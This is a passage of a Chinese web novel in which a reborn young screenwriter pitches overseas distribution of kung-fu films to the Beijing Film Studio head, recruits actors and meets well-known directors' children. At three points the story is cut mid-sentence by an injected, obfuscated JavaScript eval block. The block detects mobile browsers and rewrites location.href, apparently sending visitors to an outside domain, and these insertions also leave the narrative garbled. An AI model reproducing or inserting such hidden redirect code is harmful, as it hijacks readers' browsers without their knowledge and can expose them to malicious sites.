高远简单说了一下,话锋一转,道:“还有一件非常重要的事情,是于海老师提醒我的,我认真想了想,觉得可行性很高……” 他把昨天于海说的电影出海一事向老厂长详细汇报了一遍。 汪阳听完,呼吸猛地提速,“小子,你可知道,兹事体大,你要为你说过的话负责任!” 高远没想到老厂长的反应会如此强烈,他意识到这不是个简单的事情了,苦笑道:“您要我向您下保证吗?我过了年才刚20虚岁啊,我肯定承担不起这么大的责任来。 但是挣外汇啊,薅资本主义羊毛啊,不管能不能成,试试总没错吧?” 汪阳在沉思,好半天没说话,大约三分钟后,他沉声说道:“你和文化同志赶紧回来!抓紧时间往回返!今天无论多晚我都等着你们!” 没等高远说话,他又急切道:“别坐火车了,坐飞机!我动用私人关系给遥墙机场打电话,你俩到了后会有人接你的!” 说完,他啪地挂断了电话,搓了搓脸,让自己冷静一下,接着笑了,又拿起电话拨号,发动关系给高远和李文化搞飞机票。 高远苦笑着把话柄扣在弹簧上,对接待小姐姐说道:“麻烦您,退房。” “呀,这就不住了。”小姐姐还挺遗憾。 “没办法,领导催得急,让赶紧回去呢。” 小姐姐抿嘴一笑,手脚麻利地退了住房押金。 高远道声谢,上楼,进房间。 李文化问道:“跟老厂长汇报过了?” “汇报过了,收拾东西吧,厂长让咱俩赶紧往回返,听那意思是,要当面听我们俩汇报,都不惜动用四人关系让我俩坐飞机回去了。” “嚯!大手笔啊!我经常出差,可从来没享受过坐飞机的待遇,这次是跟你沾光了。” “我也没坐过啊,只能说明老厂长太重视这件事情了。” 上辈子坐过,这辈子第一次坐。 两人带的东西不老少,原计划济南之行结束后立刻南下临安,再去找个合适的演员聊一聊。 然后奔宁夏,去见于承惠。 争取在年前把所有演员搞定。 结果一通电话打完,计划全乱套了。 李文化边收拾行李边说道:“眼看离过年也没几天了,选演员的事等年后再说吧。” 高远点头道:“也只能这样了,倒是可以先把在京的几个人选定下来。” 李文化也点点头,表示同意。 收拾好行李,两人拎着包出门,又喊了一辆人力车,往东北方向赶去。 这时候的遥墙机场破破烂烂。 几条跑道寒碜的看得人心酸。 高远两人到了后,见一个年轻人举着写有两人名字的纸牌。 他俩走过去跟年轻人打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402298|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招呼,向对方出示了工作证。 年轻人笑道:“二位老师跟我来吧。” 两人取了登机牌,向年轻人致谢后顺利登上飞机。 高远印象中,在这个年头里坐飞机是提供茅台酒的。 他问了问空姐。 空姐笑着说:“您若是需要,我给您倒一杯。” 高远属于是没话搭拉话,他把头摇成了拨浪鼓,说道:“不了不了,昨天的酒劲儿还没过去呢,我只是有些好奇。” 空姐微笑道:“那我给您冲杯蜂蜜水吧。” “这个可以有。” “也给我来一杯。” 空姐点点头,转身离开,片刻后端了两杯蜂蜜水过来递给两人。 一杯蜂蜜水进了肚子后,两人都感觉舒服多了。 飞机在云层里穿梭。 李文化感慨道:“妈的,这些练武的也太能喝了,昨儿个险些没把我喝出胃下垂来。” 高远一乐,说道:“都是酒精考验的**同志啊,不仅能喝,还热情,别说您差点儿胃下垂,我都差点儿胃出血了。” 李文化哈哈大笑起来。 经过一个半小时的飞行后,波音747在首都国际机场落地。 两人走出航站楼,一瞧,厂里派车来接了。 司机姓刘,李文化喊他大刘。 上了车,大刘师傅笑着说:“二位这待遇,都快赶上副厂长了,孙厂长和朱厂长出差,厂里才会派车接送,其他干部职工想都甭想。” “说明厂长对我俩比较重视啊。”李文化敷衍了一句。 高远却觉得大刘师傅这话说得有点酸,没搭理他。 车子进了厂,在主楼停下。 两人下车,直奔厂长办公室。 汪阳等候已久了,见两人进来,站起身迎上前,急切地说道:“快跟我念叨念叨,到底是怎么个情况啊?你俩出趟差,怎么还跟挣外汇扯上关系了?” 高远笑着说:“就是电话里跟您汇报过的,于海老师说,外国人对我们国家的传统武术非常喜欢,我们的武打片拍摄出来后,在国外肯定有市场。” 第118章 你不是一般的牛叉! 不等高远说完,汪阳迫不及待道:“坐!先坐!我考虑过了,市场肯定是有的,并且巨大!就像你说的,咱们拍别的,外国人看不懂,但是打架嘛! 哪个国家不打架? 哪国人民不打架? 武打片展现的是肢体动作,语言、思想不同的族群通过肢体动作就能明白影片表达的是什么内容! 再加上译制片的配音,全世界的观众都能看懂!” 高远坐下后又说道:“还有一点我深入思考了,咱们电影界是有先驱者的,李小龙在美国电影界的受欢迎程度,这就不用我多说了吧? 既然李小龙这么受认可,我们国家有如此多的武术名家,只要有好剧本,把名家们集合起来,拍摄出来的影片能不受欢迎么? 这甚至可以成为咱们北影厂的一块招牌,一个巨大的盈利点。” 他有一句话藏着呢,哥们儿脑子里有很多武打故事啊,只要你想拍,我随时都能写出来。 前提是,稿费得给的高高的。 李文化这时候插话道:“还有一点,老厂长,武打片没有西方人害怕的东西,它属于艺术片,跟**啊,意识形态啊不沾边,在审查方面相对来说轻松一些。” 汪阳点点头,摸出一盒烟来,点了一根,又把烟盒递给高远,说道:“你们俩说得都对,小远子你给我打完电话后,我一上午都在考虑这件事情。 咱们拍摄制作武打片,确实有很大的优势。 比如说,我们国家好山好水好风光,拍摄出来,带动的可不仅仅是电影事业的发展,对旅游业,经济产业都能产生巨大的促进作用。 又比如说,我们国家有很多杰出的武术人才。 恰恰是这些武术人才,在国外享誉盛名! 咱们拍摄制作武打片,向全世界推广中华武术,一旦能够发行到海外,去挣美国人的钱,去挣日本人的钱…… 就像你说的,去薅资本主义的羊毛,咱北影厂的人牛逼大发了你知道么? 小远子,文化,知道我为什么如此着急把你俩喊回来吗?” 两人笑了笑,对视一眼,由李文化发言道:“说明厂长您对我们俩这建议重视呗。” 汪阳一拍桌子,精神振奋道:“你说的没错儿!我重视!我很重视!小远子给我打电话的时候,我还觉得他这是异想天开,是胆大妄为! 紧接着一琢磨,可行性很高啊! 它不存在文化冲突,又不存在意识形态,它就是个娱乐输出品! 更关键的是,它能给咱们贫弱的国家带来丰厚的外汇储备! 我再说,即便没办法输出,咱们拍摄出来的武打片在国内照样能产生广大的市场! 男人嘛,谁还没有个江湖梦! 我再跟你俩交个实底儿,要不是为了等你们回来,我就直接去海子里,向廖公汇报了!” 老厂长老夫聊发少年狂,把自己整得激情澎湃的。 说到激动处,他站了起来,狠狠抽着烟,又把烟屁股怼进烟灰缸里。 高远也站起身,但比较冷静,走到他身边,搀着他的胳膊,伸手捋着老厂长的后背,笑道:“您先别激动,主意绝对是好主意,但还有几个问题没办法解决。” “孩子你说!” “首先,发行权怎么说?您太清楚了,国产影片的发行权在中影手中,对外发行,中影也没有渠道。咱们国家封闭得太久了,就算跟其他国家有交流,顶多是苏联、南斯拉夫、罗马尼亚、古巴这些社会主义阵营。 况且咱们现在跟苏联的关系还处在一个比较微妙的时期。 向其他社会主义国家出口没问题,但想要薅资本主义羊毛,难度很大啊。 这问题必须要解决。” 高远是经过谨慎思考后才决定给老厂长交个实底儿的。 汪阳闻言也蹙紧了眉头,望着他,目光中的欣赏毫不掩饰,道:“小子,你考虑得很全面啊,实话说,你说得的这个问题,连我都没考虑到。 你提出来了,我倒是萌生出一个想法来,咱们可以通过香港 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402299|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长城、新联等公司作为周转,让在港企业先引进,通过他们的发行渠道卖往国外。 大不了咱们吃点亏,分给他们点钱。 但这也能赚不少啊,贴补贴补国家的外汇储备,也足够了! 只要这事儿能办成,你、我、于海同志、文化同志、香港的同志们,所有为中国电影事业带来前所未有的发展提供意见、建议、帮助,和付出实际努力的同志们,就都是国家大英雄!!” 高远也激情澎湃,当即表态道:“厂长,有一点请您放心,这部《太极宗师》,我和李导会尽百分之两百的能力拍好的。” 汪阳哈哈大笑,道:“其他事情你们不用去管,我这就给傅奇同志打电话,邀请他们夫妻俩回京过年,等他们来了,我介绍你们认识!” 高远知道,自己该告辞了。 他和李文化对视一眼,起身离开。 汪阳和两人一起出了门,大喊道:“大刘,备车,去文化部!” ………… 拍电影挣外汇的想法达成了一致。 高远看,汪阳这要是去向大伯当面汇报一下了。 说不定两人沟通完后还得去海子里一趟,当面向廖公进行汇报。 这不关他什么事情了。 他和李文化商量了一下,说好先各自回家休息,明天一早在戏曲学校门口碰头,去见一个人。 高远回到家,老爸老妈很意外。 “咦……你不是说要在外面待几天么,怎么两天不到就回来了?”高跃民问道。 “有个挺紧急的状况,我跟老厂长汇报了后,老厂长让我们提前回来了。”高远倒了杯水,灌进嘴里后回答道。 “问题很严重?” “不是,牵扯到电影挣外汇的事情。” 高远简单介绍了一下。 高跃民倒吸了一口张雪梅,瞪大眼睛望住高远,道:“儿砸,你现在不是一般的牛叉啊,你都牛到天上去了!出口创汇,这么大的事情你都敢做! 这事儿,你大伯知道么?” 第119章 醉拳 高远咧嘴一笑,说道:“老厂长已经去向大伯汇报了,我估计大伯一准儿坐不住,准得到咱家来。” 高跃民也一乐,说道:“那得准备点吃的喝的了。” 果不其然,没过半个小时,高跃华就到了。 还不是一个人来的,他把齐慧芝带了过来。 高远一瞧,别说,这个新大伯母长得还挺俊俏,个头儿不高,1米62、63的样子,鹅蛋脸,五官秀丽,举手投足间有一股子优雅范儿。 “大伯母好。”高远主动问候道。 听了这个称呼,齐慧芝的脸刷的红了,点头道:“小远你好,早就听你大伯提过你了,今日一见,果然青年俊才。” 高远笑道:“您过奖了,我就是个一般人儿。” 这话耳熟。 高跃民笑着说道:“嫂子快请坐,雪梅去买菜了,马上就回来,您初次登门,甭客气啊,我先给您倒杯茶。” 齐慧芝微笑着说:“高教授别忙活了,跃华说带我来认认门,坐不了一会儿就得走。” 高跃民说道:“您喊我跃民就行,喊什么高教授啊,您快坐,今晚就在家里吃了。” 高远这时候倒了两杯茶端过来。 高跃华连忙拉着他坐下,急切道:“你先别忙活了,快跟我说说,你那个电影出海的计划靠谱不?” 高远递给他一根烟,帮着点上火后说道:“我这么跟您说吧,如果能打通香港那边的发行渠道,这事儿就靠谱。” 高跃华抽口烟,点头道:“香港方面你不用担心,我亲自跟傅奇同志说。不,我会让傅奇同志回来一趟,实话说,他们那边的日子也不好过啊。” 高远也点了根烟,好奇地问道:“港片不是发行量很大吗?日子怎么会过得艰难?” 高跃华苦笑道:“那是其他民营公司,新联、长城、凤凰都不行,因为没有编剧敢给他们写剧本。他们自己的编剧又不争气,写不出好东西来,日子可不就过得艰难么。” “与左派也有关系吧?” “就是因为他们是左派,那些个香港的编剧才不敢跟他们走得太近。你提出来的这个电影出海计划,我和老厂长琢磨了一下,倒是觉得操作得当的话,不仅能挣外汇,说不定也能帮帮香港的同志。” “他们有院线吗?” “自然是有的。” “那就尽快见面聊聊吧。” 高跃华说好。 高远眼珠儿一转,故意叹声气,道:“家里没部电话太不方便了,想联系个人还得跑我爸办公室去借电话打,一来一回太耽误工夫了。” 高跃华看他一眼,屈指敲在他脑门子上,笑道:“坏小子,你就敲诈你大伯吧!” 齐慧芝掩嘴一笑,说道:“我倒是觉得小远这条件提得好,给家里安装一部电话,也是为了方便工作嘛。” 高远冲齐慧芝翘起大拇指,说道:“大伯母圣明。” 高跃华撇着嘴说道:“你俩还真是一见如故啊,得,安装电话的事情我来想办法,争取年前给家里装上。” 说话间,张雪梅回来了。 老妈身后还跟着俩人,高雅和李健群一人提一个网兜,网兜里装着几样肉菜。 高远颇觉欣喜,走上前,柔情万分凝视着温柔大姐姐,从她手里把网兜接过来,道:“我说怎么没在厂里看见你呢,敢情来家里了。” 李健群温婉一笑,道:“我也不知道你今天就回来呀,雅姐去厂里找我玩儿,非要带我回来吃饭。事情办得顺利吗?” “还行,就跑了趟济南,跟于老师还有**魁见面聊了聊,两人都同意加盟剧组了。聊天时于老师提到武打片可以在国外上映,我就把这个情况向厂长汇报了,这不就被厂长紧急招了回来。” 高远简单介绍了一下情况。 那边,张雪梅已经和齐慧芝聊上了,聊得还挺投缘。 一家人吃了顿晚饭后,高跃华和齐慧芝才告辞离开。 高远也把李健群送回了北影厂。 两人溜达着,就当消食了。 李健群忽然道:“对了,昨天晚上厂里组织我们看了一部香港电影,内部片,叫《醉拳》,很遗憾, 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“嘁!还加十分,一点诚意都没有。”李健群温柔笑着调侃了一句,又说:“都不用你交代,我最近一直在研究清朝的服饰,这个任务交给我,你放心就是了。 不过,我也得看过演员后才能有针对性地设计服装。” “我就怕你见了演员后就设计不出来了。” “怎么,你还能找来一帮妖魔鬼怪不成?” “妖魔鬼怪不至于,像什么地痞流氓啊,不法商贩啊,小偷小摸啊,两劳人员啊,总之你平时难得一见的家伙们基本上都在里面了,绝对让你大开眼界。” 李健群惊奇道:“哇,有没有那么邪乎啊?你要这么说,那我还真想见识见识。” 高远趁机说道:“我和李导明天约好了去戏曲学院找个演员,你要是感兴趣的话跟我俩一起去呗。” 李健群点着头,说道:“我太感兴趣了,说好了,明天一早你来接我。” 第120章 杜玉明 次日一早,高远蹬着自行车来到招待所楼下。 翘首以盼的李健群从窗户里探出头来,见他到了,摆摆手后穿上大棉衣就往外跑。 跟她住同一屋的王倩撇着嘴酸溜溜道:“傍上大编剧的演员就是不一样啊,瞧瞧人家这待遇,啥好戏都缺不了她,不用跟领导、导演套近乎女主角就自动送上门了。 不像咱们这些新人,还不知道得熬多少年才能演上女主角,好不容易上部戏,演的全是一句台词都没有的边角料。 人跟人之间的差距简直太大了。” 刘冬特看不惯她这副小肚鸡肠、羡慕嫉妒恨,又爱在别人背后说三道四、阴阳怪气的臭德行。 瞥她一眼,刘冬嗤了声,讽刺道:“你若是愿意,也往高老师身边靠啊,谁也没拦着你傍编剧不是?就怕人家高老师看不上你!” 王倩不服气地一挺胸脯,说道:“你当我真不敢呢?她李健群是温柔漂亮,我王倩长得也不差!我真拉下脸去倒追高老师,就不一定有她李健群什么事儿了!” 刘冬懒得跟她掰扯,看看窗外的天,灰蒙蒙的,好像随时会有一场大雪降落下来。 她把棉服穿好,拿着铝饭盒出了门,心里也琢磨起来,高老师这部戏,我要不要主动去讨个角色呢? 高远单腿撑在地上,等李健群在后座上坐稳当后笑着说道:“我骑车快,你懂的。” 李健群揪住他的军大衣,小脸通红轻声说道:“讨厌**,不占我便宜会死啊?” 高远咧着嘴诡辩道:“占其他女同志便宜那叫耍流氓,占我女朋友便宜这叫,嘿!相亲相爱一家人!” 后面传来一阵爽朗的笑声。 李文化也蹬着辆28大杠过来了,一见面就调侃高远道:“你小子这张嘴啊,骂人的时候不吐脏字儿,说甜言蜜语的时候能把人齁死。” 李健群顿时表示:“导演说得对。” 高远又咧嘴一笑,道:“咱走着?” 李文化点头,“走着。” 中国戏曲学校坐落在丰台区万泉寺400号。 1950年建校,占地81亩。 校园里随处可见古色古香的凉亭、廊桥。 只是此时正值寒假期间,显得有些空当,若是在上学的日子,校园里那才叫一个热闹。 咿咿呀呀,唱念做打的同学们会成为校园一景。 高远和李文化可不是奔着那些普通学生来的,他俩是奔着一个非常独特的学生来的。 目标人物叫杜玉明。 他后来是《少年张三丰》里的逍遥王,是苏有朋版《倚天屠龙记》里的鹿杖客,是《冬至》里的柯镇华,是《庆余年》里的大太监洪四庠。 他在荧幕中的形象,是各种各样的坏蛋、毒贩、土匪、**、日本鬼子、**老大…… 但他现在还只是戏曲学校在读的长靠武生学员。 高远三人见到他的时候,他身穿着靠,头戴着盔,脚蹬厚底靴,手拿一条长戟,满脸严正地练着功。 高远一看他这身扮相就乐了,就问有头发的杜玉明你们见过吗? 杜玉明见三人进了练功棚,把长戟竖在墙上,快步走过来,笑容满面道:“是李导和高策划吧?” 来之前打过电话了,他能猜出来人是谁这不奇怪。 李文化笑着跟他握手道:“杜玉明同志,你好,我是李文化,这位是《太极》这部影片的编剧兼总策划高远老师,我再给你介绍一下,这位姑娘是本影片的女主角陈少琪,本名叫李健群。” 高远也跟他握了手,道:“老杜你好。” 杜玉明一愣,咧嘴笑了,“高老师好,老杜这称呼我还是第一次听人叫,还挺亲切的。” 李健群也瞧着他,呀,这长相,确实清奇,一张驴脸,颧骨贼突出,双眼很大且带着一股子戾气,眉毛稀少,咧嘴一笑,口腔里能塞进去一个拳头。 很别致的一个反派苗子。 自家男朋友挑选演员的眼光盖了帽了。 高远也嘿嘿一笑,道:“我这人自来熟,您别见怪。既然之前已经有过初步沟通了,今天我和导演过来跟您见一面,再确定一下,您同意加盟我们这部电影,不会再变卦了吧?” 高远负责提供名单,李文化负责跟演员提前沟通。 两人分工明确。 杜玉明点头道:“自然不会再变卦了,还得感谢二位,让我有机会 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高远不是正式职工,春节福利没他的份儿。 但李健群是,他得帮女朋友把这堆东西搬到招待所房间去。 把车子停好,见小广场上乌泱乌泱全是人,高远就有点不太想过去。 他又望了望,目光呼地一亮,哎哟,我这是看见谁了呀。 一群导二代啊! 这不是大导么。 还有田壮壮。 那女的是…… 少红大师! 记者:从小您对《红楼梦》原著熟悉吗? 少红大师:不熟。 记者一脸惊讶:不熟就敢接戏? 少红大师:《橘子红了》我也不熟,不也接了。 记者:您总读过《红楼梦》吧? 少红大师特坦然:那不叫读,那么点年纪,只是为了看看封建社会什么样,满篇觉得是鬼话连篇。 所以,当轿帘子一掀,观众们一瞧,满欢喜的以为出来的会是个娇柔带点病态美的林黛玉。 结果,呀,钻出来一大马猴! 第121章 呸!阿谀奉承之辈! 甭管在哪个年头,都是存在阶级固化概念的。 比如说这三位导二代。 虽说三人去年齐刷刷考上了北电导演系,但走在一起却等级分明。 身材高大挺拔,五官端正,目光深邃,好像随时会吟一首:花开的时候,可能没有一个人看见,但它却开了的陈恺歌,他爹是陈怀恺,戏剧类型片导演,在厂里资历很老,但地位一般。 戴着副眼镜,面部线条硬朗的李少红,她母亲只是个副导演,在厂里不显山不露水的,三人组里,她属于跟班性质。 最牛逼的是不修边幅的田壮壮,他爹叫田方,是北影厂首任厂长,母亲叫于蓝,这位更了不得,电影《烈火中永生》里的江姐。 新中国22大影星之一。 现在是儿影厂的厂长。 所以,甭管陈恺歌多么会淫湿,李少红多特立独行,统统地溜须着点儿田壮壮。 高远见到这三位,立时精神焕发,一张脸笑成了破抹布,拉着姐姐挤进人群。 “哟,发东西呢,我瞧瞧都发了啥?”他故意提高点儿音量,以此来吸引三人的关注。 厂办负责发福利的同志也哏儿,调侃他道:“高老师,厂里这过年的福利有你媳妇儿的,可没你的,不管发了啥你都甭惦记了。” 高远没心没肺地笑着,说:“您给我我还不稀罕呢,烂苹果臭带鱼的,哎哟喂,您采购的这堆苹果是前年挂果去年采摘今年上市的吧? 烂的都只剩果核了,这要是拿回家去喂狗,狗都不吃。” “扯犊子!这车苹果是我刚从昌平拉回来的,个个新鲜,不信你尝尝。”那同志扔过来一个。 高远伸手接住,在大衣上蹭了蹭,往李健群手里一递,说道:“当家的先吃。” 李健群本就被厂办工作人员那句“你媳妇儿”调侃得羞红了脸,又遭到高远的调戏,耳根子都红了。 瞥他一眼,姑娘没好气儿道:“胡说什么,谁是你当家的?我不吃,你吃吧,你吃了才是狗。” 引得众人哄堂大笑。 “那孙子谁啊?张嘴就往外喷粪。”大导瞧着高远,一脸不屑的问道。 少红大师摇摇头,嗓音粗壮道:“瞧着面生,刚进厂的新人?” 大导嘁了声,道:“新人哪会这么狂?没听赵叔说么,过节的福利没他的份儿。” 田壮壮消息灵通,笑道:“这人我知道,叫高远,是厂里特聘的编剧。” “一个破编剧这么牛?咱这偌大的北影厂啥时候破落成这样了,什么猫三狗四的都往里招!” 大导不忿,特瞧不起高远咋咋呼呼的臭德行。 这位从小就恃才傲物,眼皮子贼高。 没办法,人家有才华,会写诗,念的是名校,BJ四中。 他在自传中这样描写他的四中同学们: 他们大多为父辈的业绩感到骄傲,以天生的**者自居,自以为血统高贵,思想纯洁…… 他们的性格大多傲慢、偏执,直率到咄咄逼人,有时又极天真。 因对社会所知甚少反而把生活极度理想化,终日耽于**的梦想而不知**为何物,反以追求真理的热诚鼓吹无知。 他本身就是“他们”中的一位,也因此而为之感到自傲! 这德行,能瞧得上高远才怪了。 少红大师嘿嘿笑道:“咱会会他去?” “走!挑衅他去!”大导说走就走。 田壮壮连忙拉住了他,苦笑道:“你俩快的了吧,这位小爷你们惹不起的,《瞧这一家子》都看过吧?” 两人点头。 “他写的。” 两人瞪大了眼珠子。 “前年恢复高考,报纸上刊登的《我在这战斗的一年里》有一篇是他的杰作。” 两人张大了嘴巴。 “他是恢复高考后的首届京城高考状元,被北大中文系录取,师从江南之先生,是南老公开承认的关门弟子。” 大导对少红大师说道:“你扶我一把,我有点儿头晕目眩。” 少红大师扶了他一把,问:“好点儿没?” “好悬啊,差点儿丢了大脸。去年考试的时候,我他妈第一志愿也是北大中文系,但不幸落榜,眼下看来还成好事儿了,我若是真被录取了,人家不仅成了我师哥,我还得被这孙子全面碾压。” 大导拍着胸口心有余悸。 “你别一口一个孙子地喊他,你知道他大伯是谁吗?”田壮壮继续往外扔**,他也挺讨厌陈恺歌这副高高在上、自命不凡的尿性。 大导摇着头说道:“莫非他大伯也是个大人物?” 田壮壮嗯了声,“他大伯是文化部长高跃华。” 咝! 大导倒吸了一口少红大师,俩眼珠子顿时一片火热,脚步飞快道:“走,过去拜访拜访这位青年帅才!” 瞧,人家打小就特明白马屁得拍对地方才算拍得好这个浅显的道理。 田壮壮苦笑,他就这么个揍性,哪有好处往哪儿钻,交朋友必须得交有用的,劳苦大众再水深火热与我何干? 见他脚步健硕有力,田壮壮和少红大师对视一眼,也跟了上去。 “哎哟,您就是高老师吧?久闻大名如雷灌耳啊,自我介绍一下,我叫陈恺歌,在家老听我爸提起您来,我早就想跟您认识认识了,一直没寻得机会,今日碰巧,见到**了,荣幸之至,荣幸之至啊。” 大导表情浮夸,人未到声音先至,隔着老远就冲高远伸出双手。 高远瞧着他,特不屑一顾。 哼! 阿谀奉承之辈! 但也不好当众抹了人家面子。 他也伸出手,跟对方握了握,笑道:“您客气,我对您的大名才是如雷贯耳,听陈导演说,您才华横溢,满身的艺术细菌,不是,艺术细胞。 尤其精通吟诗作对,酷爱伦勃朗、鲁本斯和雅格,我也很高兴和您相识。” 这话扔出来,大导一脸便秘的样子,很熟悉,带着一股子阴阳怪气,好像自己也经常这样表达。 旁边的李健群扭过头去,狠狠撮着俏脸,使劲憋着笑。 姐姐太了解高远的表达方式了,他如此认真去捧一个人的时候,往往意味着他看不上对方。 大导虽有些尴尬,却能及时调整心态。 他嘿嘿一笑,说道:“您过奖了,要说才华横溢,还得是您,《瞧这一家子》可太好看了,我几乎是从头笑到尾。” 这时候,田壮壮和少红大师也过来了。 这三位里面,高远最欣赏田壮壮。 田壮壮家世好,但人家低调,不装,谦逊有礼貌,且是个真正有才华的导演。 他拍摄的纪录片《茶马古道德拉姆》那叫一个艺术水准高超,推荐各位去看一看。 至于少红大师,高远对她的评价就俩字儿:垃圾! 林妹妹如弱柳扶风,宝姐姐丰满如杨贵妃。 10版的《红楼梦》,李沁和蒋梦婕往那儿一戳,林妹妹叫王钢蛋,宝姐姐叫电线杆。 当然,这人也不是一无是处,她排挤郭小四那事儿很爽,是非常值得称赞的。 郭小四更不是人揍的。 田壮壮走上前跟高远打招呼道:“你好。” 高远笑着跟他握了握手,道:“你也好。” 田壮壮这人有点佛,很随性,问道:“最近又写什么新作品了吗?” “弄了个武打本子,正在挑演员。” “哦?武打戏啊,热血江湖那种?” “写一个太极老前辈意气风发时的故事。” 田壮壮来了兴趣,笑道:“离过年没几天了,我们不便多打扰,年后找个时间,邀请您聚一聚,大家聊聊天,交个朋友。” 实话说,高远不太想搭理这帮人,因为不是一条路上的。 但田壮壮除外,田壮壮他还是乐于结交的,说不定今后就有合作机会呢。 他点头答应下来,“成,那就年后找天时间聚聚吧。” 这时候,有人喊:“健群!到你了,过来签字领你的东西。” 李健群答应一声,踢高远一脚,道:“别光顾着聊了,帮我搬东西去。” 高远立刻笑成了花,诶诶应和着,像个狗腿子一般奔赴向前,从工作人员手里接过一兜带鱼挂在左胳膊上,接过一大兜苹果挂在右胳膊上。 胳肢窝里夹着本挂历,右手还拎着两包糖果点心。 嚯,整个一赶春运火车的农民工。 李健群瞧他这模样,噗嗤笑了,白他一眼道:“不沉啊?等着,我去把自行车推过来。” 自行车推过来后,高远成了最忙碌的人,他先把姐姐的东西送回到招待所房间。 回来后又**淮延喊住了,“小高,蹬着你的车子帮我送一趟。” “得嘞。”高远骑车给江主任送东西。 “小远子,我老太太岁数大了,拎着这么多东西上下楼不方便,你小子有没有点眼力见儿啊,还不赶紧来帮忙。”刚回来,他又被施雯心安排了活。 “小事儿,交给我就得。”他又把东西送到了筒子楼下,仰着脖子大声喊道:“优子!优子!你个没眼力见儿的玩意儿,赶紧下来把你们家东西拎上去。” 不大会儿,发际线日渐靠后的葛优噔噔噔跑了下来,一个劲儿道谢:“哎哟,辛苦了辛苦了,瞧我这没眼力见儿的,还让您受趟累,感谢啊感谢。” 葛存壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402302|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老爷子从窗户里探出头来,招呼道:“小远子上来喝杯茶啊。” 高远也想逃干活,更想跟葛优聊聊,便爽快道:“我马上上去,老爷子给沏杯高末,高高的啊。” 葛存壮乐了,“啨好吧你就。” 高远跟葛优各自拎着两样福利上了筒子楼。 这筒子楼一共四层,每一层都有一条长长的走廊。 一层十几户人家。 各家各户面积都不大,走廊里堆着各种锅碗瓢盆,纸箱子蜂窝煤。 葛优家跟江淮延家住隔壁。 高远顺利抓到一只江珊。 “啊啊啊!坏哥哥你又欺负我,不许抓我的小辫子!”江珊被抓,哇哇大叫。 高远松开手,从兜里摸出一把大白兔塞给她。 小姑娘乐了,“你又是好哥哥了。” 高远翻个白眼儿,道:“你变脸真快。” 江珊:“嘻嘻……” 高远随葛优进了家,先跟老爷子请安。 老爷子让他随便坐。 他打量打量,一间屋子顶了天20平米,被隔成了两间。 里屋不用说,是老两口的卧室。 外间放着两张床,一张是葛优的,一张是他妹妹葛佳的。 两张床中间拉道帘儿。 高远坐在葛优的床上,接过他递来的搪瓷缸子抿了一口,茉莉花香在口腔中飘散开来。 他调侃道:“老爷子,人民艺术家这待遇就是比普通群众高啊,我们喝高末都觉得奢侈,您这都喝上茉莉飘雪了。” “嘿,你小子还是个懂茶的,还能喝出来这是茉莉飘雪,可以啊你。” 葛存壮跟他逗了一句,又道:“你也甭说艺术家待遇高,这茶是我从老厂长办公室里顺来的,平日里我也就喝个高末。得,你俩聊吧,都是年轻人,好好交流交流。” 说完,他奔里屋里。 高远瞧着这会儿头发还很茂密的葛优,饶有兴趣地笑着问道:“工作问题解决了么?” 一听他说起这事儿来,葛优满脸沮丧,道:“解决个六儿啊,不瞒你说,国家艺术学院招生,我去考了,结果没考上,人艺招生,我又去考了,也没考上。 我回来后净他妈参加考试了,无一例外都被拒了,我觉得特对不起党和人民的培养。 关键是,我那插队的公社还催着我回去,说自打我离开后,我喂的那些猪都不怎么吃食了,大猪小猪都很想念我。 这他妈,唉…… 难不成,离了我,猪就不能活了吗?” 高远没憋住,笑得嘴都瓢了,“你也别这么说,人将降大任于斯人也嘛,这道理你应该懂。” “磨练磨练心志,活动活动胯骨轴子我倒也能吃得了这苦,只要能挣到钱就行,我不能老在家里白吃白喝啊,父母不说啥,我自个儿这张脸都臊得慌。” 葛优情绪低落地说道:“这年头儿,想挣钱可太难了。” “你确定自个儿对表演感兴趣?” “这不是废话么,我出身于这种家庭,我不热爱表演,我热爱喂猪?” 咋就离不开猪了呢。 高远又是一乐,想了想后说道:“可能你听说了,年后我有部片子要拍,你要是实在没事情做的话,过来给我帮忙吧。 不过先说好啊,我现在还不能承诺一定会给你个角色,到时候看吧,你先从场记开始干起。 至于说薪酬待遇,就按照剧组的标准来,每天两块钱补助,组里管三顿饭。” 厂里这些子弟,高远特别想结交的没几个。 二子哥就不用说了,俩人都处成铁哥们儿了。 除了他以外,也就葛优、江珊、田壮壮几个为数不多能让他感兴趣,特想拉拢到身边为己所用的人了。 后面还有个车晓,但这会儿还没出生呢。 葛优一听这话,立马精神焕发,眉毛都飞起来了,道:“那我绝对愿意干啊,没角色演打个杂都成,我主要是为了向演技成熟的老同志们学习,为了积累经验。 